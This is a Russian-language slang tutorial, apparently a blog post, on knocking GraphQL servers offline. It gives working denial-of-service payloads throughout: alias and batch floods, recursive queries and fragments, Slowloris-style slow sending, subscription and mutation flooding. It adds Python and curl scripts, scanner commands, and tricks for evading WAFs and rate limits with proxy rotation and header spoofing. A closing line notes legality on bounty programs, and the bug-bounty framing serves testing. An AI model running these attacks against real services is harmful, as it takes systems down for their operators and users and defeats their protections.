Ну что, брат, сейчас разберём, как угробить GraphQL-бек тупой арифметикой. Это когда разрабы думают, что GraphQL = REST с сахаром, а по факту получают DoS через один POST-запрос.
Что за хрень с алиасами
GraphQL позволяет давать кастомные имена одному и тому же полю в запросе — это алиасы. Казалось бы, фича для фронтов. Но нет. Это твой золотой билет на бесплатный stress-test чужого сервера.
Базовый пример (лайт-версия)
|
1 2 3 4 5 6 7 |
{ user1: getUser(id: 1) { name email } user2: getUser(id: 1) { name email } user3: getUser(id: 1) { name email } ... user10000: getUser(id: 1) { name email } } |
Что происходит: Сервер обрабатывает 10к идентичных запросов к базе. CPU взлетает в космос. Если нет rate-limit на количество полей (только на requests/sec) — бекенд ляжет через 5-10 секунд.
Рекурсивная бомба (hardcore)
Если есть вложенные типы (например, User -> Posts -> Comments), можно замутить рекурсивную петлю:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
{ user(id: 1) { posts { comments { author { posts { comments { author { posts { # ... 50 уровней вниз } } } } } } } } } |
Что горит: N+1 queries умножаются на глубину. Если база без индексов — всё. Если есть JOIN’ы — RAM утекает за 20-30 секунд. Если нет maxDepth в схеме — поздравляю, ты только что устроил ССДОС руками.
Инструменты для автоматизации
1. BatchQL (мой любимый)
|
1 2 3 |
git clone https://github.com/assetnote/batchql cd batchql python3 batchql.py -e https://target.com/graphql -q query.txt |
Сгенерит query с 5000+ алиасами автоматом. Смотри htop на сервере — если load average > 20, ты в дамках.
2. GraphQL Cop (detect + exploit)
|
1 |
docker run -it nicholasaleks/graphql-cop -t https://target.com/graphql |
Чекает maxDepth, maxComplexity, queryTimeout. Если всё null — Welcome to DDoS-land.
3. Ручная кастомизация (для души)
|
1 2 3 4 5 6 7 8 9 10 11 |
import requests query = "{\n" for i in range(10000): query += f' alias{i}: getProduct(id: 1) {{ name price }}\n' query += "}" r = requests.post('https://target.com/graphql', json={'query': query}, headers={'Content-Type': 'application/json'}) print(f"Время: {r.elapsed.total_seconds()}s | Статус: {r.status_code}") |
Если ответ приходит через 30+ секунд — сервер уже умирает.
Почему это работает
Типичная мисконфигурация
|
1 2 3 4 5 6 |
// Плохой GraphQL-сервер (Apollo/Express) const server = new ApolloServer({ typeDefs, resolvers, // Нет защит 🤡 }); |
Нет:
• validationRules для глубины (depthLimit(5))
• complexity калькулятора (пример: graphql-query-complexity)
• Rate-limit на количество полей (только на IP-уровне)
Где искать уязвимость
1. Introspection query (если включён):
|
1 |
{ __schema { types { name fields { name } } } } |
1. Ищи типы с циклическими связями (User → Friends → User).
2. Поиск в waybackmachine/паблик-репах:
|
1 2 |
curl "https://web.archive.org/cdx/search/cdx?url=*.target.com/ graphql&output=json&fl=original&collapse=urlkey" |
3. Fuzzing endpoint’ов:
|
1 |
ffuf -u https://target.com/FUZZ -w /path/to/api_wordlist.txt -mc 200 -fw 1 |
3. Чекай /graphql, /api/graphql, /v1/gql, /query.
Обход защит
Если есть maxDepth
Обойди через фрагменты (GraphQL fragments):
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
fragment DeepNest on User { posts { comments { ...DeepNest # Рекурсивный фрагмент } } } query { user(id: 1) { ...DeepNest } } |
Старые парсеры (Apollo < 3.0) не считают это за глубину.
Если есть complexity limit
Атакуй через batch-запросы (массив query):
|
1 2 3 4 5 |
[ {"query": "{ getUser(id: 1) { name } }"}, {"query": "{ getUser(id: 2) { name } }"}, ... // 1000 запросов в одном POST ] |
Complexity считается на один query, но не на весь массив.
Если есть WAF/Rate-Limit
1. Rotator IP через прокси:
|
1 |
proxychains4 -f proxies.conf python3 exploit.py |
2. User-Agent rotation + X-Forwarded-For:
|
1 2 3 |
curl -H "X-Forwarded-For: 127.0.0.1" \ -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_0 like Mac OS X)" \ -X POST https://target.com/graphql -d @payload.json |
3. Slowloris для GraphQL (медленная отправка):
|
1 2 3 4 5 6 7 8 9 10 |
import socket, time s = socket.socket() s.connect(('target.com', 443)) s.send(b'POST /graphql HTTP/1.1\r\nHost: target.com\r\n') time.sleep(10) # Держи соединение s.send(b'Content-Length: 999999\r\n\r\n') # Шли по 1 байту каждые 5 сек for byte in payload: s.send(byte.encode()) time.sleep(5) |
Доказательство (PoC для баунти)
Запрос
|
1 2 3 |
curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{ $(for i in {1..5000}; do echo "a$i: getUser(id: 1) { name }"; done) }"}' |
Ожидаемый результат
• Время ответа: > 30 секунд (норма: < 200ms)
• CPU на сервере: 100% (мониторь через htop или CloudWatch)
• Логи: Ошибки типа FATAL: terminating connection due to timeout (PostgreSQL) или OOM killed (Docker)
Скриншот
Покажи:
1. Время выполнения запроса (через Burp Suite → Duration: 45.3s)
2. Ответ с ошибкой ("errors": {"message": "Query timeout"})
3. Графики нагрузки (если есть доступ к Grafana/Datadog)
Советы:
Три вектора для добивания
1. Batch + Alias combo:
Зашли 1000 batch-запросов, в каждом по 500 алиасов = 500к операций. Если бек не лёг — это не бек, это танк.
2. Subscription DoS:
Если есть WebSocket-подписки:
|
1 2 3 |
subscription { userUpdated(id: 1) { name email posts { comments { ... } } } } |
2. Открой 500 соединений через wscat — RAM сожрётся за минуту.
3. Mutation flooding:
Если можно делать POST через mutation:
|
1 2 3 4 5 |
mutation { m1: createPost(title: "spam") { id } m2: createPost(title: "spam") { id } ... # 1000 записей в базу за раз } |
3. База без transaction limit’ов умрёт от I/O-стресса.
План атаки (если зацепка есть)
1. Introspection: Найди циклические типы.
2. PoC с 100 алиасами: Проверь, что сервер тормозит.
3. Скейлинг: Подними до 5000, замерь время.
4. Докажи impact: Если prod — аккуратно (1-2 запроса), если test — уроби нахрен.
5. Репорт : CVSS 7.5 (High), пиши “Resource Exhaustion via GraphQL Query Complexity”.
Если застрял
• Чекни /graphiql или /playground — там может быть дефолтный интерфейс без авторизации.
• Попробуй GET вместо POST: https://target.com/graphql?query={...} — иногда WAF не фильтрует GET.
• Если всё закрыто — ищи leaked API keys в JS-бандлах: curl https://target.com/app.js | grep -Eo '"A-Za-z0-9_-{20,}"'.
Иди ломай, бро. Только не забудь — это legal только на баунти-программах или с письменным permission. Иначе привет от АУЕ. 🏴☠️



